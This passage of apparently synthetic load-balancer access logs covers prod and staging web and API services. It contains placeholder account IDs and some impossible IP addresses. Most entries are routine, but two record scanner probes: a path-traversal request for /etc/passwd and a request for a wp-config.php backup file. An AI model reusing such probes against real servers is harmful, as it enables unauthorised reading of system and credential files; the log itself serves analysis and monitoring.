"Root=1-6723ca54-c122a3ee2f764532a79cb758" "prod-api-alb.example.com" "-" 1 2024-11-01T01:20:04.473859Z "forward" "-" "-" "10.0.206.134:443" "200" "-" "-" -https 2024-11-01T01:20:06.321257Z prod-web-alb 69.120.62.41:38009 10.0.73.39:443 0.003448 0.377300 0.008503 200 200 915 13507 "GET /products HTTP/1.1" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36" ECDHE-RSA-AES128-GCM-SHA256 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-web-front/73e2d6bc24d8 "Root=1-6723ca56-48816a91c3234d0db2855b48" "prod-web-alb.example.com" "-" 0 2024-11-01T01:20:06.321257Z "forward" "-" "-" "10.0.73.39:443" "200" "-" "-" -https 2024-11-01T01:20:07.170115Z prod-web-alb 31.60.37.131:31828 10.0.224.124:443 0.097486 0.286537 0.048252 200 200 819 3445 "GET /images/logo.png HTTP/1.1" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36" TLS_AES_128_GCM_SHA256 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-web-front/73e2d6bc24d8 "Root=1-6723ca57-7fa6f97f02784211bbd14449" "prod-web-alb.example.com" "-" 1 2024-11-01T01:20:07.170115Z "forward" "-" "-" "10.0.224.124:443" "200" "-" "-" -http 2024-11-01T01:20:08.966097Z staging-alb 238.251.93.128:28019 68.73.116.106:443 0.029746 0.091181 0.130229 302 302 991 12282 "GET /staging/health HTTP/1.1" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36" TLS_AES_128_GCM_SHA256 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/staging-api/12c3d4e567f "Root=1-6723ca58-272db3d1f0bc4acb97ca678a" "staging-alb.example.com" "-" 8 2024-11-01T01:20:08.966097Z "forward" "-" "-" "68.73.116.106:443" "302" "-" "-" -https 2024-11-01T01:20:10.433096Z prod-api-alb 185.181.187.52:31349 10.0.136.120:443 0.066216 0.473539 0.011386 404 404 980 7053 "GET /assets/..%2f..%2f..%2fetc/passwd HTTP/1.1" "zgrab/0.x" ECDHE-RSA-AES128-GCM-SHA256 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-api-v2/45d9f8g67h2 "Root=1-6723ca5a-2b95902746154c55941b9565" "-" "-" 2 2024-11-01T01:20:10.433096Z "forward" "-" "-" "10.0.136.120:443" "404" "-" "-" -http 2024-11-01T01:20:11.250114Z staging-alb 185.103.136.76:43916 247.138.145.95:8080 0.148398 0.003120 0.149849 200 200 320 11172 "GET /api/v1/products HTTP/1.1" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36" ECDHE-RSA-AES256-GCM-SHA384 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/staging-web/34f5g6h789a "Root=1-6723ca5b-d95d799234874411968734d8" "staging-alb.example.com" "-" 1 2024-11-01T01:20:11.250114Z "forward" "-" "-" "247.138.145.95:8080" "200" "-" "-" -https 2024-11-01T01:20:12.591194Z prod-web-alb 186.194.102.135:57343 10.0.57.248:443 0.046478 0.425416 0.067310 301 301 811 4368 "GET /products HTTP/1.1" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36" ECDHE-RSA-AES128-GCM-SHA256 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-web-front/73e2d6bc24d8 "Root=1-6723ca5c-399d579abb354e0e90a103f7" "-" "-" 3 2024-11-01T01:20:12.591194Z "forward" "-" "-" "10.0.57.248:443" "301" "-" "-" -https 2024-11-01T01:20:14.296170Z staging-alb 161.241.230.107:47155 208.183.164.54:80 0.029770 0.658787 0.100510 200 200 511 7928 "GET /staging/health HTTP/1.1" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36" ECDHE-RSA-AES256-GCM-SHA384 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/staging-api/12c3d4e567f "Root=1-6723ca5e-e243ebae505d4970881b79fe" "staging-alb.example.com" "-" 3 2024-11-01T01:20:14.296170Z "forward" "-" "-" "208.183.164.54:80" "200" "-" "-" -https 2024-11-01T01:20:16.170312Z prod-web-alb 183.17.40.150:12696 10.0.15.96:443 0.012670 0.314563 0.089979 200 200 833 11710 "GET /images/logo.png HTTP/1.1" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36" TLS_AES_128_GCM_SHA256 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-web-front/73e2d6bc24d8 "Root=1-6723ca60-cef0bb15e26b49b9a4929b1f" "prod-web-alb.example.com" "-" 4 2024-11-01T01:20:16.170312Z "forward" "-" "-" "10.0.15.96:443" "200" "-" "-" -https 2024-11-01T01:20:16.985421Z prod-web-alb 227.8.125.24:13104 10.0.80.127:443 0.080593 0.139135 0.085157 302 302 969 12493 "GET /assets/main.css HTTP/1.1" "Apache-HttpClient/4.5.13 (Java/11.0.19)" TLS_AES_128_GCM_SHA256 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-web-front/73e2d6bc24d8 "Root=1-6723ca60-a9a84ceead51459896e1c0ad" "prod-web-alb.example.com" "-" 3 2024-11-01T01:20:16.985421Z "forward" "-" "-" "10.0.80.127:443" "302" "-" "-" -https 2024-11-01T01:20:17.464419Z prod-api-alb 71.15.64.165:30795 10.0.192.75:443 0.054150 0.059765 0.011612 200 200 18 13333 "GET /api/health HTTP/1.1" "Apache-HttpClient/4.5.13 (Java/11.0.19)" ECDHE-RSA-AES256-GCM-SHA384 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-api-v2/45d9f8g67h2 "Root=1-6723ca61-42c374ff27b14111a57d1c88" "prod-api-alb.example.com" "-" 3 2024-11-01T01:20:17.464419Z "forward" "-" "-" "10.0.192.75:443" "200" "-" "-" -https 2024-11-01T01:20:19.208899Z staging-alb 193.27.228.79:19614 173.169.180.192:443 0.136874 0.681707 0.142589 302 302 957 10290 "POST /wp-config.php.bak HTTP/1.1" "masscan/1.3.2" TLS_AES_128_GCM_SHA256 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/staging-web/34f5g6h789a "Root=1-6723ca63-1e8943cc0ea84025bcc9be27" "-" "-" 8 2024-11-01T01:20:19.208899Z "forward" "-" "-" "173.169.180.192:443" "302" "-" "-" -http 2024-11-01T01:20:21.207003Z staging-alb 255.244.132.135:59933 24.58.125.40:443 0.058515 0.679517 0.026235 200 200 51 12924 "GET /web/test HTTP/1.1" "Python-urllib/3.8" ECDHE-RSA-AES256-GCM-SHA384 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/staging-api/12c3d4e567f "Root=1-6723ca65-f4fdf83215244f328f1a63b7" "staging-alb.example.com" "-" 10 2024-11-01T01:20:21.207003Z "forward" "-" "-" "24.58.125.40:443" "200" "-" "-" -https 2024-11-01T01:20:22.434486Z prod-web-alb 177.17.230.123:36217 10.0.147.197:443 0.091627 0.418046 0.059229 301 301 263 2536 "GET /checkout HTTP/1.1" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36" ECDHE-RSA-AES128-GCM-SHA256 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-web-back/92a1c4de56f7 "Root=1-6723ca66-086b0f0eae174a3f91d2fb08" "prod-web-alb.example.com" "-" 4 2024-11-01T01:20:22.434486Z "forward" "-" "-" "10.0.147.197:443" "301" "-" "-" -http 2024-11-01T01:20:22.556143Z staging-alb 13.71.156.173:18298 226.100.145.111:8080 0.076736 0.164813 0.116208 200 200 303 4202 "GET /staging/health HTTP/1.1" "Apache-HttpClient/4.5.13 (Java/11.0.19)" TLS_AES_128_GCM_SHA256 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/staging-api/12c3d4e567f "Root=1-6723ca66-1d45ced143d441a8b8cd5511" "staging-alb.example.com" "-" 10 2024-11-01T01:20:22.556143Z "forward" "-" "-" "226.100.145.111:8080" "200" "-" "-" -https 2024-11-01T01:20:23.977613Z prod-api-alb 130.134.84.127:27056 10.0.121.203:443 0.060288 0.472127 0.099805 200 200 59 11246 "GET /api/v1/products HTTP/1.1" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36" ECDHE-RSA-AES128-GCM-SHA256 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-api-v2/45d9f8g67h2 "Root=1-6723ca67-f61b4df027af4dd7aa6a2f08" "prod-api-alb.example.com" "-" 1 2024-11-01T01:20:23.977613Z "forward" "-" "-" "10.0.121.203:443" "200" "-" "-" -https 2024-11-01T01:20:24.793548Z staging-alb 124.241.193.66:57190 110.37.125.138:443 0.108415 0.559824 0.095184 301 301 453 6049 "GET /api/v1/products HTTP/1.1" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36" ECDHE-RSA-AES128-GCM-SHA256 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/staging-web/34f5g6h789a "Root=1-6723ca68-4751b75c668147c89fd5ed50" "staging-alb.example.com" "-" 6 2024-11-01T01:20:24.793548Z "forward" "-" "-" "110.37.125.138:443" "301" "-" "-" -https 2024-11-01T01:20:26.025940Z prod-api-alb 69.15.188.178:48463 10.0.58.125:443 0.022148 0.184864 0.044825 404 404 240 14644 "GET /api/v2/users HTTP/1.1" "curl/7.64.1" ECDHE-RSA-AES128-GCM-SHA256 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-api-v2/45d9f8g67h2 "Root=1-6723ca6a-2ed0e02f2ef949548bad7076" "prod-api-alb.example.com" "-" 10 2024-11-01T01:20:26.025940Z "forward" "-" "-" "10.0.58.125:443" "404" "-" "-" -https 2024-11-01T01:20:27.236666Z prod-api-alb 156.123.232.189:40370 10.0.191.55:443 0.012059 0.241567 0.034253 200 200 545 3261 "GET /api/v1/orders HTTP/1.1" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36" TLS_AES_128_GCM_SHA256 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-api-v1/81b3e7cf92a1 "Root=1-6723ca6b-f8514f788c834ef1bf16cb72" "-" "-" 8 2024-11-01T01:20:27.236666Z "forward" "-" "-" "10.0.191.55:443" "200" "-" "-" -https 2024-11-01T01:20:28.689601Z prod-api-alb 179.157.167.41:59869 10.0.230.246:443 0.076595 0.138587 0.059205 200 200 928 6366 "GET /api/v2/users HTTP/1.1" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36" ECDHE-RSA-AES128-GCM-SHA256 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-api-v2/45d9f8g67h2 "Root=1-6723ca6c-8a8756ab35644cf0aedc52e3" "prod-api-alb.example.com" "-" 8 2024-11-01T01:20:28.689601Z "forward" "-" "-" "10.0.230.246:443" "200" "-" "-" -http 2024-11-01T01:20:30.619379Z staging-alb 196.77.240.132:12392 86.26.148.88:8080 0.022251 0.234747 0.088042 200 200 507 4085 "GET /api/v1/products HTTP/1.1" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36" TLS_AES_128_GCM_SHA256 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/staging-web/34f5g6h789a "Root=1-6723ca6e-1bf5b410e3d74c30842b0ddb" "staging-alb.example.com" "-" 7 2024-11-01T01:20:30.619379Z "forward" "-" "-" "86.26.148.88:8080" "200" "-" "-" -https 2024-11-01T01:20:32.061542Z prod-api-alb 34.35.136.189:40022 10.0.244.128:443 0.027922 0.181262 0.096176 200 200 317 10392 "GET /api/v1/orders HTTP/1.1" "Python-urllib/3.8" ECDHE-RSA-AES128-GCM-SHA256 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-api-v1/81b3e7cf92a1 "Root=1-6723ca70-d6a4a93f160143eea52f4834" "prod-api-alb.example.com" "-" 0 2024-11-01T01:20:32.061542Z "forward" "-" "-" "10.0.244.128:443" "200" "-" "-" -https 2024-11-01T01:20:32.288510Z staging-alb 211.58.147.248:40157 151.130.55.148:8080 0.021573 0.203422 0.114110 301 301 81 14440 "GET /api/v1/products HTTP/1.1" "Python-urllib/3.8" ECDHE-RSA-AES256-GCM-SHA384 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/staging-api/12c3d4e567f "Root=1-6723ca70-4a8f9d8c7b6945d6aef49c27" "staging-alb.example.com" "-" 9 2024-11-01T01:20:32.288510Z "forward" "-" "-" "151.130.55.148:8080" "301" "-" "-" -https 2024-11-01T01:20:33.790180Z prod-api-alb 175.113.201.76:10515 10.0.209.25:443 0.066984 0.430382 0.092500 301 301 636 8975 "GET /api/v1/orders HTTP/1.1" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36" TLS_AES_128_GCM_SHA256 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-api-v2/45d9f8g67h2 "Root=1-6723ca71-a373877bb65c4f4bba2b03ed" "prod-api-alb.example.com" "-" 5 2024-11-01T01:20:33.790180Z "forward" "-" "-" "10.0.209.25:443" "301" "-" "-" -https 2024-11-01T01:20:35.290988Z prod-api-alb 81.228.155.165:12239 10.0.175.237:443 0.037886 0.481665 0.091102 200 200 878 5034 "GET /api/v1/orders HTTP/1.1" "Python-urllib/3.8" ECDHE-RSA-AES128-GCM-SHA256 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-api-v1/81b3e7cf92a1 "Root=1-6723ca73-8ece1fc7be534599a10e14c8" "prod-api-alb.example.com" "-" 1 2024-11-01T01:20:35.290988Z "forward" "-" "-" "10.0.175.237:443" "200" "-" "-" -http 2024-11-01T01:20:36.570881Z staging-alb 196.240.78.198:13556 124.187.57.47:8080 0.019918 0.184602 0.000596 200 200 542 6269 "GET /web/test HTTP/1.1" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36 Edg/119.0.0.0" TLS_AES_128_GCM_SHA256 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/staging-web/34f5g6h789a "Root=1-6723ca74-a45e951ba8884164a069cb80" "staging-alb.example.com" "-" 3 2024-11-01T01:20:36.570881Z "forward" "-" "-" "124.187.57.47:8080" "200" "-" "-" -https 2024-11-01T01:20:38.488701Z staging-alb 218.236.175.83:43238 43.68.52.146:443 0.043592 0.092930 0.089219 200 200 15 637 "GET /web/test HTTP/1.1" "curl/7.64.1" ECDHE-RSA-AES128-GCM-SHA256 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/staging-web/34f5g6h789a "Root=1-6723ca76-53469bd04250441bb9fbefe7" "staging-alb.example.com" "-" 6 2024-11-01T01:20:38.488701Z "forward" "-" "-" "43.68.52.146:443" "200" "-" "-" -https 2024-11-01T01:20:39.811662Z prod-web-alb 128.91.85.240:42618 10.0.149.50:443 0.031274 0.168342 0.019789 200 200 131 7355 "GET /products HTTP/1.1" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36 Edg/119.0.0.0" ECDHE-RSA-AES128-GCM-SHA256 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-web-back/92a1c4de56f7 "Root=1-6723ca77-ce6b12dd5a2f45d7a31ab7bf" "prod-web-alb.example.com" "-" 5 2024-11-01T01:20:39.811662Z "forward" "-" "-" "10.0.149.50:443" "200" "-" "-" -https 2024-11-01T01:20:40.329917Z prod-api-alb 28.186.72.86:36517 10.0.74.127:443 0.067577 0.174721 0.075908 200 200 486 12905 "GET /api/v1/orders HTTP/1.1" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36" ECDHE-RSA-AES256-GCM-SHA384 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-api-v2/45d9f8g67h2 "Root=1-6723ca78-142dbfa97709402e9281df8e" "prod-api-alb.example.com" "-" 2 2024-11-01T01:20:40.329917Z "forward" "-" "-" "10.0.74.127:443" "200" "-" "-" -https 2024-11-01T01:20:40.649493Z prod-api-alb 255.31.133.173:19301 10.0.224.1:443 0.040050 0.281115 0.047015 200 200 683 8894 "GET /api/v2/users HTTP/1.1" "Mozilla/5.0 (iPhone; CPU iPhone OS 16_6_1 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/16.6 Mobile/15E148 Safari/604.1" TLS_AES_128_GCM_SHA256 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-api-v2/45d9f8g67h2 "Root=1-6723ca78-a0e4aca7722747d68052d99d" "prod-api-alb.example.com" "-" 6 2024-11-01T01:20:40.649493Z "forward" "-" "-" "10.0.224.1:443" "200" "-" "-" -http 2024-11-01T01:20:42.540445Z staging-alb 150.137.255.204:62998 203.179.112.86:80 0.004639 0.601923 0.141523 302 302 370 2687 "GET /web/test HTTP/1.1" "Apache-HttpClient/4.5.13 (Java/11.0.19)" ECDHE-RSA-AES256-GCM-SHA384 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/staging-web/34f5g6h789a "Root=1-6723ca7a-514f94cbd17d4d1db7ff8326" "staging-alb.example.com" "-" 6 2024-11-01T01:20:42.540445Z "forward" "-" "-" "203.179.112.86:80" "302" "-" "-" -http 2024-11-01T01:20:43.664663Z staging-alb 143.202.14.124:24435 134.53.123.207:80 0.042483 0.636474 0.065310 200 200 624 6953 "GET /staging/health HTTP/1.1" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36" ECDHE-RSA-AES128-GCM-SHA256 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/staging-web/34f5g6h789a "Root=1-6723ca7b-32b173db1f5447119c1ac53f" "staging-alb.example.com" "-" 2 2024-11-01T01:20:43.664663Z "forward" "-" "-" "134.53.123.207:80" "200" "-" "-" -https 2024-11-01T01:20:45.362831Z prod-web-alb 45.247.27.208:61161 10.0.59.61:443 0.003039 0.245629 0.029943 302 302 50 13536 "GET /products HTTP/1.1" "Apache-HttpClient/4.5.13 (Java/11.0.19)" TLS_AES_128_GCM_SHA256 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-web-front/73e2d6bc24d8 "Root=1-6723ca7d-02bc95bb93f64fc78e32bf81" "prod-web-alb.example.com" "-" 9 2024-11-01T01:20:45.362831Z "forward" "-" "-" "10.0.59.61:443" "302" "-" "-" -https 2024-11-01T01:20:47.036258Z staging-alb 131.169.10.160:24273 86.71.100.156:443 0.137554 0.203425 0.024180 200 200 656 11470 "GET /web/test HTTP/1.1" "curl/7.64.1" TLS_AES_128_GCM_SHA256 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/staging-web/34f5g6h789a "Root=1-6723ca7f-34f21027067b4b0085e0c149" "staging-alb.example.com" "-" 10 2024-11-01T01:20:47.036258Z "forward" "-" "-" "86.71.100.156:443" "200" "-" "-" -https 2024-11-01T01:20:47.810923Z prod-web-alb 111.101.132.3:23620 10.0.30.109:443 0.042846 0.442901 0.060012 404 404 558 391 "GET /checkout HTTP/1.1" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36" TLS_AES_128_GCM_SHA256 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-web-front/73e2d6bc24d8 "Root=1-6723ca7f-34cf9c2aa2934f3ab7b54625" "prod-web-alb.example.com" "-" 0 2024-11-01T01:20:47.810923Z "forward" "-" "-" "10.0.30.109:443" "404" "-" "-" -https 2024-11-01T01:20:49.288615Z prod-api-alb 179.174.219.141:50772 10.0.107.73:443 0.027218 0.428079 0.033716 302 302 715 1451 "GET /api/v1/products HTTP/1.1" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36" ECDHE-RSA-AES256-GCM-SHA384 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-api-v2/45d9f8g67h2 "Root=1-6723ca81-4fe424deb8a14b13be01b1a2" "prod-api-alb.example.com" "-" 6 2024-11-01T01:20:49.288615Z "forward" "-" "-" "10.0.107.73:443" "302" "-" "-" -http 2024-11-01T01:20:50.597950Z staging-alb 242.93.18.95:27010 143.65.80.58:8080 0.042121 0.610656 0.022709 200 200 451 6377 "GET /staging/health HTTP/1.1" "Mozilla/5.0 (iPhone; CPU iPhone OS 16_6_1 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/16.6 Mobile/15E148 Safari/604.1" TLS_AES_128_GCM_SHA256 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/staging-api/12c3d4e567f "Root=1-6723ca82-b93091a752514fd0a8c7d99c" "staging-alb.example.com" "-" 2 2024-11-01T01:20:50.597950Z "forward" "-" "-" "143.65.80.58:8080" "200" "-" "-" -https 2024-11-01T01:20:52.410980Z prod-web-alb 109.68.154.56:37263 10.0.248.40:443 0.060397 0.217530 0.037860 302 302 179 9792 "GET /products HTTP/1.1" "Mozilla/5.0 (iPhone; CPU iPhone OS 16_6_1 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/16.6 Mobile/15E148 Safari/604.1" TLS_AES_128_GCM_SHA256 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-web-front/73e2d6bc24d8 "Root=1-6723ca84-a8113ead59274926be150929" "prod-web-alb.example.com" "-" 9 2024-11-01T01:20:52.410980Z "forward" "-" "-" "10.0.248.40:443" "302" "-" "-" -https 2024-11-01T01:20:52.893934Z prod-api-alb 218.176.182.144:54103 10.0.114.76:443 0.061594 0.172863 0.034338 301 301 1 3529 "GET /api/health HTTP/1.1" "Python-urllib/3.8" ECDHE-RSA-AES128-GCM-SHA256 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-api-v1/81b3e7cf92a1 "Root=1-6723ca84-c4a568367d124486846dd2cb" "prod-api-alb.example.com" "-" 10 2024-11-01T01:20:52.893934Z "forward" "-" "-" "10.0.114.76:443" "301" "-" "-" -https 2024-11-01T01:20:54.106129Z prod-web-alb 11.60.213.188:31151 10.0.209.176:443 0.062318 0.383943 0.015874 301 301 541 4781 "GET /cart HTTP/1.1" "Mozilla/5.0 (iPhone; CPU iPhone OS 16_6_1 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/16.6 Mobile/15E148 Safari/604.1" ECDHE-RSA-AES128-GCM-SHA256 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-web-front/73e2d6bc24d8 "Root=1-6723ca86-6f694528af7640d48c002098" "prod-web-alb.example.com" "-" 10 2024-11-01T01:20:54.106129Z "forward" "-" "-" "10.0.209.176:443" "301" "-" "-" -https 2024-11-01T01:20:56.062000Z prod-web-alb 64.76.171.76:50139 10.0.93.169:443 0.068492 0.461517 0.073019 302 302 703 14946 "GET /assets/main.css HTTP/1.1" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36 Edg/119.0.0.0" TLS_AES_128_GCM_SHA256 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-web-back/92a1c4de56f7 "Root=1-6723ca88-3fd2d35f27854559a6bf6ead" "prod-web-alb.example.com" "-" 2 2024-11-01T01:20:56.062000Z "forward" "-" "-" "10.0.93.169:443" "302" "-" "-" -https 2024-11-01T01:20:58.054409Z prod-web-alb 227.76.93.109:13068 10.0.32.194:443 0.035972 0.151921 0.065267 301 301 797 4275 "GET /products HTTP/1.1" "curl/7.64.1" ECDHE-RSA-AES128-GCM-SHA256 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-web-back/92a1c4de56f7 "Root=1-6723ca8a-178fb78bb5724dd9a12e7058" "prod-web-alb.example.com" "-" 10 2024-11-01T01:20:58.054409Z "forward" "-" "-" "10.0.32.194:443" "301" "-" "-" -https 2024-11-01T01:20:59.005262Z prod-api-alb 32.42.109.201:42298 10.0.69.125:443 0.087448 0.008165 0.001780 200 200 81 2007 "GET /api/v1/products HTTP/1.1" "Apache-HttpClient/4.5.13 (Java/11.0.19)" TLS_AES_128_GCM_SHA256 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-api-v2/45d9f8g67h2 "Root=1-6723ca8b-2da9cce0e8fa4f63a0680749" "prod-api-alb.example.com" "-" 6 2024-11-01T01:20:59.005262Z "forward" "-" "-" "10.0.69.125:443" "200" "-" "-" -https 2024-11-01T01:21:00.746309Z prod-api-alb 5.201.194.35:27782 10.0.217.113:443 0.029707 0.360080 0.090982 200 200 443 8226 "GET /api/v2/users HTTP/1.1" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36 Edg/119.0.0.0" ECDHE-RSA-AES128-GCM-SHA256 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-api-v1/81b3e7cf92a1 "Root=1-6723ca8c-c607ff1bebb9425aa9d7e4ca" "prod-api-alb.example.com" "-" 10 2024-11-01T01:21:00.746309Z "forward" "-" "-" "10.0.217.113:443" "200" "-" "-" -http 2024-11-01T01:21:01.069970Z staging-alb 237.172.254.254:58657 60.25.82.68:8080 0.027652 0.629060 0.026617 200 200 947 14589 "GET /staging/health HTTP/1.1" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36 Edg/119.0.0.0" ECDHE-RSA-AES128-GCM-SHA256 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/staging-api/12c3d4e567f "Root=1-6723ca8d-80f5e311cf7341829c59ae5a" "staging-alb.example.com" "-" 6 2024-11-01T01:21:01.069970Z "forward" "-" "-" "60.25.82.68:8080" "200" "-" "-" -https 2024-11-01T01:21:02.172648Z prod-web-alb 162.252.113.68:47044 10.0.59.155:443 0.036157 0.416642 0.095390 301 301 674 8100 "GET /products HTTP/1.1" "curl/7.64.1" ECDHE-RSA-AES128-GCM-SHA256 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-web-back/92a1c4de56f7 "Root=1-6723ca8e-aa62318010df42078e91c7e9" "prod-web-alb.example.com" "-" 3 2024-11-01T01:21:02.172648Z "forward" "-" "-" "10.0.59.155:443" "301" "-" "-" -https 2024-11-01T01:21:03.332391Z staging-alb 27.24.116.235:58771 13.195.78.79:8080 0.063230 0.749646 0.111685 301 301 393 7946 "GET /api/v1/products HTTP/1.1" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36" TLS_AES_128_GCM_SHA256 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/staging-web/34f5g6h789a "Root=1-6723ca8f-0f059fbe69f749428d9ddcd9" "staging-alb.example.com" "-" 1 2024-11-01T01:21:03.332391Z "forward" "-" "-" "13.195.78.79:8080" "301" "-" "-" -http 2024-11-01T01:21:03.829560Z staging-alb 34.137.32.19:54388 108.200.192.45:443 0.111965 0.531970 0.041167 200 200 759 3578 "GET /web/test HTTP/1.1" "Apache-HttpClient/4.5.13 (Java/11.0.19)" ECDHE-RSA-AES256-GCM-SHA384 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/staging-web/34f5g6h789a "Root=1-6723ca8f-c112b750fcae47949e50307a" "staging-alb.example.com" "-" 1 2024-11-01T01:21:03.829560Z "forward" "-" "-" "108.200.192.45:443" "200" "-" "-" -https 2024-11-01T01:21:05.172548Z prod-web-alb 